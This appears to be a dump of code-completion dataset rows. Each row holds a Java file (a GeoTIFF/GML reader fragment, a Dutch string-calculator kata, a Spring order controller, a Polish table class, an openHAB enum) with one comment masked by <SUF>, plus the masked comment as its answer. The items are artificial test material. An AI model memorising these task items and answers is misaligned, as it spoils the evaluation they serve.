} catch (Exception e) {
e.printStackTrace();
System.exit(0);
}
GeoTiffReader2.this.results.add(row);
}
visits.remove(name);
if (currGeomHandler != null) {
currGeomHandler.endElement(uri, name, qName);
if (currGeomHandler.isGeometryComplete()) {
Geometry g = currGeomHandler.getGeometry();
WKTWriter wkt_writer=new WKTWriter();
GMLWriter gml_writer = new GMLWriter();
if (g.getClass().equals(org.locationtech.jts.geom.Point.class)) {
Point geometry = (org.locationtech.jts.geom.Point) g;
row.addPair("isEmpty", geometry.isEmpty());
row.addPair("isSimple", geometry.isSimple());
row.addPair("dimension",
geometry.getCoordinates().length);
row.addPair("coordinateDimension",
geometry.getCoordinates().length);
row.addPair("spatialDimension", geometry.getDimension()); // spatialdimension
// <=
// dimension
// System.out.println(geometry.getCoordinate().x + " "
// +geometry.getCoordinate().z);
// System.out.println(geometry.get .getSRID());
// CRS.
String crs="2311";
if (crs == null) {
System.err.println("No SRID specified. Aborting...");
System.exit(-1);
}
row.addPair("asWKT",
"<http://www.opengis.net/def/crs/EPSG/0/" +<SUF>
+ ">" + wkt_writer.write(geometry));
row.addPair("hasSerialization",
"<http://www.opengis.net/def/crs/EPSG/0/" + crs
+ ">" + wkt_writer.write(geometry));
// newrow.addPair("hasSerialization",
// wkt_writer.write(geometry));
gml_writer.setSrsName(crs);
row.addPair("asGML", gml_writer.write(geometry)
.replaceAll("\n", " "));
row.addPair("is3D", geometry.getDimension() == 3);
} else {
GeometryCollection geometry = (GeometryCollection) g;
row.addPair("isEmpty", geometry.isEmpty());
row.addPair("isSimple", geometry.isSimple());
row.addPair("dimension",
geometry.getCoordinates().length);
row.addPair("coordinateDimension",
geometry.getCoordinates().length);
row.addPair("spatialDimension", geometry.getDimension()); // spatialdimension
// <=
// dimension
// System.out.println(geometry.getCoordinate().x + " "
// +geometry.getCoordinate().z);
// System.out.println(geometry.get .getSRID());
// CRS.
String crs="2323";
if (crs == null) {
System.err.println("No SRID specified. Aborting...");
System.exit(-1);
}
// geometry.getNumPoints();
// TODO spatialDimension??????
// TODO coordinateDimension??????
// Geometry geometry1=
// (Geometry)sourceGeometryAttribute.getValue();
// geometry1.transform(arg0, arg1)
// sourceGeometryAttribute.ge
row.addPair("asWKT",
"<http://www.opengis.net/def/crs/EPSG/0/" + crs
+ ">" + wkt_writer.write(geometry));
row.addPair("hasSerialization",
"<http://www.opengis.net/def/crs/EPSG/0/" + crs
+ ">" + wkt_writer.write(geometry));
// newrow.addPair("hasSerialization",
// wkt_writer.write(geometry));
gml_writer
.setSrsName("http://www.opengis.net/def/crs/EPSG/0/"
+ crs);
row.addPair("asGML", gml_writer.write(geometry)
.replaceAll("\n", " "));
row.addPair("is3D", geometry.getDimension() == 3);
}
//System.out.println(g);
//System.out.println(ww.write(g));
geoms.add(g);
// reset to indicate no longer parsing geometry
currGeomHandler = null;
}
}
}
}
}
/**
* A GeometryFactory extension which fixes structurally bad coordinate sequences
* used to create LinearRings.
*
* @author mbdavis
*
*/
@SuppressWarnings("serial")
class FixingGeometryFactory extends GeometryFactory {
public LinearRing createLinearRing(CoordinateSequence cs) {
if (cs.getCoordinate(0).equals(cs.getCoordinate(cs.size() - 1)))
return super.createLinearRing(cs);
// add a new coordinate to close the ring
CoordinateSequenceFactory csFact = getCoordinateSequenceFactory();
CoordinateSequence csNew = csFact.create(cs.size() + 1,
cs.getDimension());
CoordinateSequences.copy(cs, 0, csNew, 0, cs.size());
CoordinateSequences.copyCoord(csNew, 0, csNew, csNew.size() - 1);
return super.createLinearRing(csNew);
}
}
|
17481_2 | package nl.han.aim.bewd.wsstringkata;
public class StringKata {
/**
* In deze main worden alle "tests" uitgevoerd die aantonen dat de string calculator naar behoren werkt.
* @param args standaard-args voor uitvoeren vanaf de commandline.
*/
public static void main(String[] args) {
StringCalculator calc = new StringCalculator();
if(calc.add("") != 0) {
System.out.println("FOUT: lege string levert geen nul op.");
}
if(calc.add("129") != 129) {
System.out.println("FOUT: string met één getal levert geen getal op.");
}
if(calc.add("12, 91") != 103) {
System.out.println("FOUT: string met komma levert niet het juiste resultaat op.");
}
if(calc.add("\n12, 91") != 103) {
System.out.println("FOUT: string met komma en extra witruimte levert niet het juiste resultaat op.");
}
if(calc.add("1, 2, 3, 4, 25") != 35) {
System.out.println("FOUT: string met meerdere getallen levert niet het juiste resultaat op.");
}
if(calc.add("1, 2, 3, 4\n 25") != 35) {
System.out.println("FOUT: string met meerdere getallen en delimiters levert niet het juiste resultaat op.");
}
if(calc.add("//%!%\n12 %!% 91") != 103) {
System.out.println("FOUT: string met custom delimiter (1) levert niet het juiste resultaat op.");
}
if(calc.add("2, 1001") != 2 && calc.add("1001") != 0) {
System.out.println("FOUT: getallen groter dan 1000 worden niet genegeerd.");
}
if(calc.add("//[abc][def][ghijk]\n1abc 2 ghijk 3 def 4") != 10) {
System.out.println("FOUT: string met meerdere custom delimiters levert niet het juiste resultaat op.");
}
if(calc.add("//[*][%]\n1*2%3") != 6) {
System.out.println("FOUT: string met meerdere custom delimiters met daarin speciale tekens levert niet het juiste resultaat op.");
}
System.out.println("Klaar met testen.");
}
}
| AIM-CNP/bewd-workshop-string-kata-uitwerking | src/main/java/nl/han/aim/bewd/wsstringkata/StringKata.java | 675 | //[abc][def][ghijk]\n1abc 2 ghijk 3 def 4") != 10) { | line_comment | nl | package nl.han.aim.bewd.wsstringkata;
public class StringKata {
/**
* In deze main worden alle "tests" uitgevoerd die aantonen dat de string calculator naar behoren werkt.
* @param args standaard-args voor uitvoeren vanaf de commandline.
*/
public static void main(String[] args) {
StringCalculator calc = new StringCalculator();
if(calc.add("") != 0) {
System.out.println("FOUT: lege string levert geen nul op.");
}
if(calc.add("129") != 129) {
System.out.println("FOUT: string met één getal levert geen getal op.");
}
if(calc.add("12, 91") != 103) {
System.out.println("FOUT: string met komma levert niet het juiste resultaat op.");
}
if(calc.add("\n12, 91") != 103) {
System.out.println("FOUT: string met komma en extra witruimte levert niet het juiste resultaat op.");
}
if(calc.add("1, 2, 3, 4, 25") != 35) {
System.out.println("FOUT: string met meerdere getallen levert niet het juiste resultaat op.");
}
if(calc.add("1, 2, 3, 4\n 25") != 35) {
System.out.println("FOUT: string met meerdere getallen en delimiters levert niet het juiste resultaat op.");
}
if(calc.add("//%!%\n12 %!% 91") != 103) {
System.out.println("FOUT: string met custom delimiter (1) levert niet het juiste resultaat op.");
}
if(calc.add("2, 1001") != 2 && calc.add("1001") != 0) {
System.out.println("FOUT: getallen groter dan 1000 worden niet genegeerd.");
}
if(calc.add("//[abc][def][ghijk]\n1abc 2<SUF>
System.out.println("FOUT: string met meerdere custom delimiters levert niet het juiste resultaat op.");
}
if(calc.add("//[*][%]\n1*2%3") != 6) {
System.out.println("FOUT: string met meerdere custom delimiters met daarin speciale tekens levert niet het juiste resultaat op.");
}
System.out.println("Klaar met testen.");
}
}
|
65830_0 | package aimene.doex.bestelling.controller;
import aimene.doex.bestelling.model.Bestelling;
import aimene.doex.bestelling.model.Product;
import aimene.doex.bestelling.repository.BestellingRepository;
import aimene.doex.bestelling.repository.ProductRepository;
import org.springframework.data.jdbc.core.mapping.AggregateReference;
import org.springframework.web.bind.annotation.*;
import java.util.Map;
@RestController
@RequestMapping("/bestellingen")
public class BestellingController {
private final ProductRepository productRepository;
private final BestellingRepository bestellingRepository;
public BestellingController(BestellingRepository bestellingRepository, ProductRepository productRepository) {
this.bestellingRepository = bestellingRepository;
this.productRepository = productRepository;
}
@GetMapping
public Iterable<Bestelling> findAll() {
return bestellingRepository.findAll();
}
@GetMapping("{id}")
public Bestelling findById(@PathVariable("id") Bestelling bestelling) {
return bestelling;
}
@PatchMapping("{id}/plaats")
public void plaatstBestelling(@PathVariable("id") Bestelling bestelling) {
/* ******************************************************************** */
// Geef in het sequentiediagram wel expliciet aan dat je het product
// ophaalt uit de repository met een findById(productId)
// daarmee wordt het makkelijker te zien wanneer er een
// optimistic lock exception kan optreden
/* ******************************************************************** */
/* ******************************************************************** */
// Geef deze regel in het sequentiediagram aan met een rnote
bestelling.plaatsBestelling();
/* ******************************************************************** */
bestellingRepository.save(bestelling);
}
@PostMapping("{id}/producten")
public void voegProductToe(@PathVariable("id") Bestelling bestelling,
@RequestBody Map<String, Object> requestBody) {
Product product = productRepository.findById((Integer) requestBody.get("product_id")).orElseThrow();
int aantal = (int) requestBody.get("aantal");
AggregateReference<Product, Integer> productRef = AggregateReference.to(product.getId());
bestelling.voegProductToe(productRef, aantal, product.getPrijs());
bestellingRepository.save(bestelling);
}
}
| AIM-ENE/doex-opdracht-3 | oefeningen/les-3/voorbereiding/onderdeel2/bestelling/src/main/java/aimene/doex/bestelling/controller/BestellingController.java | 611 | // Geef in het sequentiediagram wel expliciet aan dat je het product | line_comment | nl | package aimene.doex.bestelling.controller;
import aimene.doex.bestelling.model.Bestelling;
import aimene.doex.bestelling.model.Product;
import aimene.doex.bestelling.repository.BestellingRepository;
import aimene.doex.bestelling.repository.ProductRepository;
import org.springframework.data.jdbc.core.mapping.AggregateReference;
import org.springframework.web.bind.annotation.*;
import java.util.Map;
@RestController
@RequestMapping("/bestellingen")
public class BestellingController {
private final ProductRepository productRepository;
private final BestellingRepository bestellingRepository;
public BestellingController(BestellingRepository bestellingRepository, ProductRepository productRepository) {
this.bestellingRepository = bestellingRepository;
this.productRepository = productRepository;
}
@GetMapping
public Iterable<Bestelling> findAll() {
return bestellingRepository.findAll();
}
@GetMapping("{id}")
public Bestelling findById(@PathVariable("id") Bestelling bestelling) {
return bestelling;
}
@PatchMapping("{id}/plaats")
public void plaatstBestelling(@PathVariable("id") Bestelling bestelling) {
/* ******************************************************************** */
// Geef in<SUF>
// ophaalt uit de repository met een findById(productId)
// daarmee wordt het makkelijker te zien wanneer er een
// optimistic lock exception kan optreden
/* ******************************************************************** */
/* ******************************************************************** */
// Geef deze regel in het sequentiediagram aan met een rnote
bestelling.plaatsBestelling();
/* ******************************************************************** */
bestellingRepository.save(bestelling);
}
@PostMapping("{id}/producten")
public void voegProductToe(@PathVariable("id") Bestelling bestelling,
@RequestBody Map<String, Object> requestBody) {
Product product = productRepository.findById((Integer) requestBody.get("product_id")).orElseThrow();
int aantal = (int) requestBody.get("aantal");
AggregateReference<Product, Integer> productRef = AggregateReference.to(product.getId());
bestelling.voegProductToe(productRef, aantal, product.getPrijs());
bestellingRepository.save(bestelling);
}
}
|
64399_36 | package app;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.TreeMap;
import java.util.Map.Entry;
public class Tabela {
// ~~ nazwaKolumny, zawartoscTejKolumny ~~ tabela
private Map<String, List<String>> tabela;
public Tabela() {
tabela = new TreeMap<>();
}
// SPRAWNE - nie dotykać
public void dodajKolumne(String nazwaKolumny) {
// sprawdz czy taka juz nie istnieje
boolean czyIstnieje = sprawdzCzyJuzIstniejeKolumna(nazwaKolumny);
if (czyIstnieje) {
System.out.println("Kolumna o podanej nazwie: " + nazwaKolumny + " już istnieje!");
}
// nie istnieje
// dodaj nową kolumnę i pustą zawartość
List<String> zawartoscKolumny = new ArrayList<>();
this.tabela.put(nazwaKolumny, zawartoscKolumny);
}
// SPRAWNE - nie dotykać
public void dodajWartoscDoKolumny(String nazwaKolumny, String wartosc) throws Exception {
boolean znalezionoKolumne = znajdzKolumne(nazwaKolumny);
boolean zawartoscKolumnyJestPusta = czyZawartoscKolumnyJestPusta(nazwaKolumny);
List<String> zawartoscKolumny = new ArrayList<>();
if (znalezionoKolumne) {
if (zawartoscKolumnyJestPusta) {
zawartoscKolumny.add(wartosc);
this.tabela.put(nazwaKolumny, zawartoscKolumny);
} else {
zawartoscKolumny = tabela.get(nazwaKolumny);
zawartoscKolumny.add(wartosc);
this.tabela.put(nazwaKolumny, zawartoscKolumny);
}
} else {
throw new Exception("Nie znaleziono kolumny: " + nazwaKolumny);
}
}
public void dodajWartosciDoKolumn(String[] zbiorWartosci) {
// Set<Entry<String, List<String>>> entry = tabela.entrySet();
int i = 0;
for (Entry<String, List<String>> entry : tabela.entrySet()) {
// dla kazdej kolumny, wez i wstaw, jezeli nie masz co wstawic, wstaw ""
List<String> lista = entry.getValue();
if (i == zbiorWartosci.length)
lista.add("");
while (i < zbiorWartosci.length) {
lista.add(zbiorWartosci[i]);
i++;
break;
}
tabela.put(entry.getKey(), lista);
}
}
// SPRAWNE - nie dotykać
public Map<String, List<String>> usunKolumne(String nazwaKolumny) {
if (znajdzKolumne(nazwaKolumny)) {
// znaleziono
tabela.remove(nazwaKolumny);
return this.tabela;
}
// nie znaleziono -> wyjatek
System.out.println("Nie znaleziono kolumny" + nazwaKolumny);
return this.tabela;
}
// SPRAWNE - nie dotykać
public Map<String, List<String>> usunWartoscZKolumny(String nazwaKolumny, int index) {
boolean znalezionoKolumneOrazCzyNieJestPusta;
try {
znalezionoKolumneOrazCzyNieJestPusta = czyZnalezionoKolumneOrazCzyNieJestPusta(nazwaKolumny);
} catch (Exception e) {
System.out.println(e.getMessage());
znalezionoKolumneOrazCzyNieJestPusta = false;
}
if (znalezionoKolumneOrazCzyNieJestPusta) {
List<String> zawartoscKolumny = tabela.get(nazwaKolumny);
try {
zawartoscKolumny.remove(index);
tabela.put(nazwaKolumny, zawartoscKolumny);
} catch (IndexOutOfBoundsException e) {
System.out.println(e.getMessage());
}
}
return this.tabela;
}
public void usunWartosciZKolumn() {
// Set<Entry<String, List<String>>> entry = tabela.entrySet();
for (Entry<String, List<String>> entry : tabela.entrySet()) {
List<String> nowaZawartoscKolumny = entry.getValue();
nowaZawartoscKolumny.clear();
tabela.put(entry.getKey(), nowaZawartoscKolumny);
}
}
public void usunWiersz(String kolumna, String wartosc) throws Exception {
boolean istnieje = sprawdzCzyJuzIstniejeKolumna(kolumna);
if (istnieje == false)
throw new Exception("Nie istnieje taka kolumna " + kolumna);
boolean zawiera = false;
int indexOfValue = 0;
List<String> zawartoscKolumny = tabela.get(kolumna);
for (String string : zawartoscKolumny) {
if (string.equals(wartosc)) {
zawiera = true;
break;
}
indexOfValue++;
}
if (zawiera == true) {
for (Entry<String, List<String>> entry : tabela.entrySet()) {
List<String> nowaZawartoscKolumny = entry.getValue();
nowaZawartoscKolumny.remove(indexOfValue);
tabela.put(entry.getKey(), nowaZawartoscKolumny);
}
}
}
// SPRAWNE - nie dotykać
public void wypiszWszystkieKolumny() {
System.out.println("Wszystkie dostępne kolumny");
Set<String> tabelaKeys = this.tabela.keySet();
System.out.println(tabelaKeys);
}
public void wypiszWszystkieKolumnyWrazZZawaroscia() {
Set<Entry<String, List<String>>> entires = tabela.entrySet();
for (Entry<String, List<String>> ent : entires) {
System.out.println(ent.getKey() + " ==> " + ent.getValue());
}
}
// SPRAWNE - nie dotykać
public void wypiszZawartoscKolumny(String nazwaKolumny) {
try {
czyZnalezionoKolumneOrazCzyNieJestPusta(nazwaKolumny);
// znaleziono i nie jest pusta
List<String> zawartoscKolumny;
zawartoscKolumny = tabela.get(nazwaKolumny);
// zawartoscKolumny;
if (zawartoscKolumny.size() != 0) {
System.out.println("Zawartosc kolumny " + nazwaKolumny + " to:");
for (int i = 0; i < zawartoscKolumny.size(); i++)
System.out.println("Indeks " + i + ": " + zawartoscKolumny.get(i));
} else
System.out.println("Zawartosc kolumny " + nazwaKolumny + " jest pusta!");
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
public void wypiszKolumnyZTablicyGdzieKolumnaSpelniaWarunek(String[] zbiorKolumn, String[] warunekKolumnaWartosc) {
// wcale nie robię niezrozumiałych zagnieżdżeń
boolean wypiszWszystkieKolumny = false;
for (String kolumna : zbiorKolumn) {
if (kolumna.equals("*")) {
wypiszWszystkieKolumny = true;
break;
}
}
if (wypiszWszystkieKolumny == true) {
// wypisz wszystkie kolumny, ale tylko rzad gdzie wystapil ten ... warunek
String warunekKolumna = warunekKolumnaWartosc[0];
String warunekWartosc = warunekKolumnaWartosc[1];
// poszczegolne kolumny do wypisania
// for (String kolumna : zbiorKolumn) {
// kolumny
if (tabela.containsKey(warunekKolumna)) {
// posiada taka kolumne gdzie nalezy sprawdzic warunek
// pobierz zawartosc kolumny
List<String> zawartoscKolumny = tabela.get(warunekKolumna);
int index = 0;
// dopoki nie wyszedles ze ZBIORU WARTOSCI DANEJ KOLUMNY
while (index < zawartoscKolumny.size())
// jezeli kolumna Y posiada wartosc X ( Imie ?= Arkadiusz )
// na miejscu index
if (zawartoscKolumny.get(index).equals(warunekWartosc)) {
// wypisz teraz wszystkie rzedy, wlacznie z nazwami ... kolumn
// Set<Entry<String, List<String>>> entry = tabela.entrySet();
for (Entry<String, List<String>> ent : tabela.entrySet()) {
// System.out.println(ent.getKey() + " ==> " + ent.getValue());
// wypisz wszystkie kolumny, ale tylko rzad gdzie wystapil ten ... warunek
System.out.println("Kolumna: " + ent.getKey() + " ==> " + ent.getValue().get(index));
}
index++;
}
}
// }
} else {
// wypisz TYLKO poszczegolne KOLUMNY oraz RZEDY
// lalalalalalaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
String warunekKolumna = warunekKolumnaWartosc[0];
String warunekWartosc = warunekKolumnaWartosc[1];
// poszczegolne kolumny do wypisania
for (String kolumna : zbiorKolumn) {
if (tabela.containsKey(warunekKolumna)) {
// posiada taka kolumne gdzie nalezy sprawdzic warunek
// pobierz zawartosc kolumny
List<String> zawartoscKolumny = tabela.get(warunekKolumna);
int index = 0;
// dopoki nie wyszedles ze ZBIORU WARTOSCI DANEJ KOLUMNY
while (index < zawartoscKolumny.size())
// jezeli kolumna Y posiada wartosc X ( Imie ?= Arkadiusz )
// na miejscu index
if (zawartoscKolumny.get(index).equals(warunekWartosc)) {
// wypisz teraz wszystkie rzedy, wlacznie z nazwami ... kolumn
// Set<Entry<String, List<String>>> entry = tabela.entrySet();
for (Entry<String, List<String>> ent : tabela.entrySet()) {
// System.out.println(ent.getKey() + " ==> " + ent.getValue());
// wypisz WYBRANE kolumny, ale tylko rzad gdzie wystapil ten ... warunek
// lalala.
if (ent.getKey().equals(kolumna))
System.out.println("Kolumna: " + ent.getKey() + " ==> " + ent.getValue().get(index));
}
index++;
}
// index++;
}
}
}
}
// SPRAWNE - nie dotykać
public boolean znajdzKolumne(String nazwaKolumny) {
Set<String> tabelaKeys = this.tabela.keySet();
for (String tabelaKey : tabelaKeys) {
if (tabelaKey.compareTo(nazwaKolumny) == 0) {
return true;
}
}
return false;
}
// SPRAWNE - nie dotykać
private boolean sprawdzCzyJuzIstniejeKolumna(String nazwaKolumny) {
Set<String> tabelaKeys = this.tabela.keySet();
int counter = 0;
for (String tabelaKey : tabelaKeys) {
if (tabelaKey.compareTo(nazwaKolumny) == 0) {
counter = counter + 1;
}
}
if (counter > 0)
return true; // wystapil duplikat
else
return false; // nie ma duplikatu
}
// SPRAWNE - nie dotykać
private boolean czyZawartoscKolumnyJestPusta(String nazwaKolumny) {
if (tabela.get(nazwaKolumny) == null)
return true;
else
return false;
}
// SPRAWNE - nie dotykać
public boolean czyZnalezionoKolumneOrazCzyNieJestPusta(String nazwaKolumny) throws Exception {
// znaleziono ale jest pusta
if (znajdzKolumne(nazwaKolumny) && czyZawartoscKolumnyJestPusta(nazwaKolumny))
throw new Exception("Zawartosc kolumny " + nazwaKolumny + " jest akutalnie pusta");
// nie znaleziono
if (!znajdzKolumne(nazwaKolumny))
throw new Exception("Nie znaleziono kolumny " + nazwaKolumny);
// znaleziono
return true;
}
} | AKrupaa/Simple-database-in-Java | src/app/Tabela.java | 4,174 | // System.out.println(ent.getKey() + " ==> " + ent.getValue()); | line_comment | nl | package app;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.TreeMap;
import java.util.Map.Entry;
public class Tabela {
// ~~ nazwaKolumny, zawartoscTejKolumny ~~ tabela
private Map<String, List<String>> tabela;
public Tabela() {
tabela = new TreeMap<>();
}
// SPRAWNE - nie dotykać
public void dodajKolumne(String nazwaKolumny) {
// sprawdz czy taka juz nie istnieje
boolean czyIstnieje = sprawdzCzyJuzIstniejeKolumna(nazwaKolumny);
if (czyIstnieje) {
System.out.println("Kolumna o podanej nazwie: " + nazwaKolumny + " już istnieje!");
}
// nie istnieje
// dodaj nową kolumnę i pustą zawartość
List<String> zawartoscKolumny = new ArrayList<>();
this.tabela.put(nazwaKolumny, zawartoscKolumny);
}
// SPRAWNE - nie dotykać
public void dodajWartoscDoKolumny(String nazwaKolumny, String wartosc) throws Exception {
boolean znalezionoKolumne = znajdzKolumne(nazwaKolumny);
boolean zawartoscKolumnyJestPusta = czyZawartoscKolumnyJestPusta(nazwaKolumny);
List<String> zawartoscKolumny = new ArrayList<>();
if (znalezionoKolumne) {
if (zawartoscKolumnyJestPusta) {
zawartoscKolumny.add(wartosc);
this.tabela.put(nazwaKolumny, zawartoscKolumny);
} else {
zawartoscKolumny = tabela.get(nazwaKolumny);
zawartoscKolumny.add(wartosc);
this.tabela.put(nazwaKolumny, zawartoscKolumny);
}
} else {
throw new Exception("Nie znaleziono kolumny: " + nazwaKolumny);
}
}
public void dodajWartosciDoKolumn(String[] zbiorWartosci) {
// Set<Entry<String, List<String>>> entry = tabela.entrySet();
int i = 0;
for (Entry<String, List<String>> entry : tabela.entrySet()) {
// dla kazdej kolumny, wez i wstaw, jezeli nie masz co wstawic, wstaw ""
List<String> lista = entry.getValue();
if (i == zbiorWartosci.length)
lista.add("");
while (i < zbiorWartosci.length) {
lista.add(zbiorWartosci[i]);
i++;
break;
}
tabela.put(entry.getKey(), lista);
}
}
// SPRAWNE - nie dotykać
public Map<String, List<String>> usunKolumne(String nazwaKolumny) {
if (znajdzKolumne(nazwaKolumny)) {
// znaleziono
tabela.remove(nazwaKolumny);
return this.tabela;
}
// nie znaleziono -> wyjatek
System.out.println("Nie znaleziono kolumny" + nazwaKolumny);
return this.tabela;
}
// SPRAWNE - nie dotykać
public Map<String, List<String>> usunWartoscZKolumny(String nazwaKolumny, int index) {
boolean znalezionoKolumneOrazCzyNieJestPusta;
try {
znalezionoKolumneOrazCzyNieJestPusta = czyZnalezionoKolumneOrazCzyNieJestPusta(nazwaKolumny);
} catch (Exception e) {
System.out.println(e.getMessage());
znalezionoKolumneOrazCzyNieJestPusta = false;
}
if (znalezionoKolumneOrazCzyNieJestPusta) {
List<String> zawartoscKolumny = tabela.get(nazwaKolumny);
try {
zawartoscKolumny.remove(index);
tabela.put(nazwaKolumny, zawartoscKolumny);
} catch (IndexOutOfBoundsException e) {
System.out.println(e.getMessage());
}
}
return this.tabela;
}
public void usunWartosciZKolumn() {
// Set<Entry<String, List<String>>> entry = tabela.entrySet();
for (Entry<String, List<String>> entry : tabela.entrySet()) {
List<String> nowaZawartoscKolumny = entry.getValue();
nowaZawartoscKolumny.clear();
tabela.put(entry.getKey(), nowaZawartoscKolumny);
}
}
public void usunWiersz(String kolumna, String wartosc) throws Exception {
boolean istnieje = sprawdzCzyJuzIstniejeKolumna(kolumna);
if (istnieje == false)
throw new Exception("Nie istnieje taka kolumna " + kolumna);
boolean zawiera = false;
int indexOfValue = 0;
List<String> zawartoscKolumny = tabela.get(kolumna);
for (String string : zawartoscKolumny) {
if (string.equals(wartosc)) {
zawiera = true;
break;
}
indexOfValue++;
}
if (zawiera == true) {
for (Entry<String, List<String>> entry : tabela.entrySet()) {
List<String> nowaZawartoscKolumny = entry.getValue();
nowaZawartoscKolumny.remove(indexOfValue);
tabela.put(entry.getKey(), nowaZawartoscKolumny);
}
}
}
// SPRAWNE - nie dotykać
public void wypiszWszystkieKolumny() {
System.out.println("Wszystkie dostępne kolumny");
Set<String> tabelaKeys = this.tabela.keySet();
System.out.println(tabelaKeys);
}
public void wypiszWszystkieKolumnyWrazZZawaroscia() {
Set<Entry<String, List<String>>> entires = tabela.entrySet();
for (Entry<String, List<String>> ent : entires) {
System.out.println(ent.getKey() + " ==> " + ent.getValue());
}
}
// SPRAWNE - nie dotykać
public void wypiszZawartoscKolumny(String nazwaKolumny) {
try {
czyZnalezionoKolumneOrazCzyNieJestPusta(nazwaKolumny);
// znaleziono i nie jest pusta
List<String> zawartoscKolumny;
zawartoscKolumny = tabela.get(nazwaKolumny);
// zawartoscKolumny;
if (zawartoscKolumny.size() != 0) {
System.out.println("Zawartosc kolumny " + nazwaKolumny + " to:");
for (int i = 0; i < zawartoscKolumny.size(); i++)
System.out.println("Indeks " + i + ": " + zawartoscKolumny.get(i));
} else
System.out.println("Zawartosc kolumny " + nazwaKolumny + " jest pusta!");
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
public void wypiszKolumnyZTablicyGdzieKolumnaSpelniaWarunek(String[] zbiorKolumn, String[] warunekKolumnaWartosc) {
// wcale nie robię niezrozumiałych zagnieżdżeń
boolean wypiszWszystkieKolumny = false;
for (String kolumna : zbiorKolumn) {
if (kolumna.equals("*")) {
wypiszWszystkieKolumny = true;
break;
}
}
if (wypiszWszystkieKolumny == true) {
// wypisz wszystkie kolumny, ale tylko rzad gdzie wystapil ten ... warunek
String warunekKolumna = warunekKolumnaWartosc[0];
String warunekWartosc = warunekKolumnaWartosc[1];
// poszczegolne kolumny do wypisania
// for (String kolumna : zbiorKolumn) {
// kolumny
if (tabela.containsKey(warunekKolumna)) {
// posiada taka kolumne gdzie nalezy sprawdzic warunek
// pobierz zawartosc kolumny
List<String> zawartoscKolumny = tabela.get(warunekKolumna);
int index = 0;
// dopoki nie wyszedles ze ZBIORU WARTOSCI DANEJ KOLUMNY
while (index < zawartoscKolumny.size())
// jezeli kolumna Y posiada wartosc X ( Imie ?= Arkadiusz )
// na miejscu index
if (zawartoscKolumny.get(index).equals(warunekWartosc)) {
// wypisz teraz wszystkie rzedy, wlacznie z nazwami ... kolumn
// Set<Entry<String, List<String>>> entry = tabela.entrySet();
for (Entry<String, List<String>> ent : tabela.entrySet()) {
// System.out.println(ent.getKey() + " ==> " + ent.getValue());
// wypisz wszystkie kolumny, ale tylko rzad gdzie wystapil ten ... warunek
System.out.println("Kolumna: " + ent.getKey() + " ==> " + ent.getValue().get(index));
}
index++;
}
}
// }
} else {
// wypisz TYLKO poszczegolne KOLUMNY oraz RZEDY
// lalalalalalaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
String warunekKolumna = warunekKolumnaWartosc[0];
String warunekWartosc = warunekKolumnaWartosc[1];
// poszczegolne kolumny do wypisania
for (String kolumna : zbiorKolumn) {
if (tabela.containsKey(warunekKolumna)) {
// posiada taka kolumne gdzie nalezy sprawdzic warunek
// pobierz zawartosc kolumny
List<String> zawartoscKolumny = tabela.get(warunekKolumna);
int index = 0;
// dopoki nie wyszedles ze ZBIORU WARTOSCI DANEJ KOLUMNY
while (index < zawartoscKolumny.size())
// jezeli kolumna Y posiada wartosc X ( Imie ?= Arkadiusz )
// na miejscu index
if (zawartoscKolumny.get(index).equals(warunekWartosc)) {
// wypisz teraz wszystkie rzedy, wlacznie z nazwami ... kolumn
// Set<Entry<String, List<String>>> entry = tabela.entrySet();
for (Entry<String, List<String>> ent : tabela.entrySet()) {
// System.out.println(ent.getKey() +<SUF>
// wypisz WYBRANE kolumny, ale tylko rzad gdzie wystapil ten ... warunek
// lalala.
if (ent.getKey().equals(kolumna))
System.out.println("Kolumna: " + ent.getKey() + " ==> " + ent.getValue().get(index));
}
index++;
}
// index++;
}
}
}
}
// SPRAWNE - nie dotykać
public boolean znajdzKolumne(String nazwaKolumny) {
Set<String> tabelaKeys = this.tabela.keySet();
for (String tabelaKey : tabelaKeys) {
if (tabelaKey.compareTo(nazwaKolumny) == 0) {
return true;
}
}
return false;
}
// SPRAWNE - nie dotykać
private boolean sprawdzCzyJuzIstniejeKolumna(String nazwaKolumny) {
Set<String> tabelaKeys = this.tabela.keySet();
int counter = 0;
for (String tabelaKey : tabelaKeys) {
if (tabelaKey.compareTo(nazwaKolumny) == 0) {
counter = counter + 1;
}
}
if (counter > 0)
return true; // wystapil duplikat
else
return false; // nie ma duplikatu
}
// SPRAWNE - nie dotykać
private boolean czyZawartoscKolumnyJestPusta(String nazwaKolumny) {
if (tabela.get(nazwaKolumny) == null)
return true;
else
return false;
}
// SPRAWNE - nie dotykać
public boolean czyZnalezionoKolumneOrazCzyNieJestPusta(String nazwaKolumny) throws Exception {
// znaleziono ale jest pusta
if (znajdzKolumne(nazwaKolumny) && czyZawartoscKolumnyJestPusta(nazwaKolumny))
throw new Exception("Zawartosc kolumny " + nazwaKolumny + " jest akutalnie pusta");
// nie znaleziono
if (!znajdzKolumne(nazwaKolumny))
throw new Exception("Nie znaleziono kolumny " + nazwaKolumny);
// znaleziono
return true;
}
} |
200238_32 | /**
* Copyright (c) 2010-2013, openHAB.org and others.
*
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v10.html
*/
package org.openhab.binding.novelanheatpump;
import org.openhab.core.items.Item;
import org.openhab.core.library.items.NumberItem;
import org.openhab.core.library.items.StringItem;
/**
* Represents all valid commands which could be processed by this binding
*
* @author Jan-Philipp Bolle
* @since 1.0.0
*/
public enum HeatpumpCommandType {
//in german Außentemperatur
TYPE_TEMPERATURE_OUTSIDE {
{
command = "temperature_outside";
itemClass = NumberItem.class;
}
},
//in german Außentemperatur
TYPE_TEMPERATURE_OUTSIDE_AVG {
{
command = "temperature_outside_avg";
itemClass = NumberItem.class;
}
},
//in german Rücklauf
TYPE_TEMPERATURE_RETURN {
{
command = "temperature_return";
itemClass = NumberItem.class;
}
},
//in german Rücklauf Soll
TYPE_TEMPERATURE_REFERENCE_RETURN {
{
command = "temperature_reference_return";
itemClass = NumberItem.class;
}
},
//in german Vorlauf
TYPE_TEMPERATURE_SUPPLAY {
{
command = "temperature_supplay";
itemClass = NumberItem.class;
}
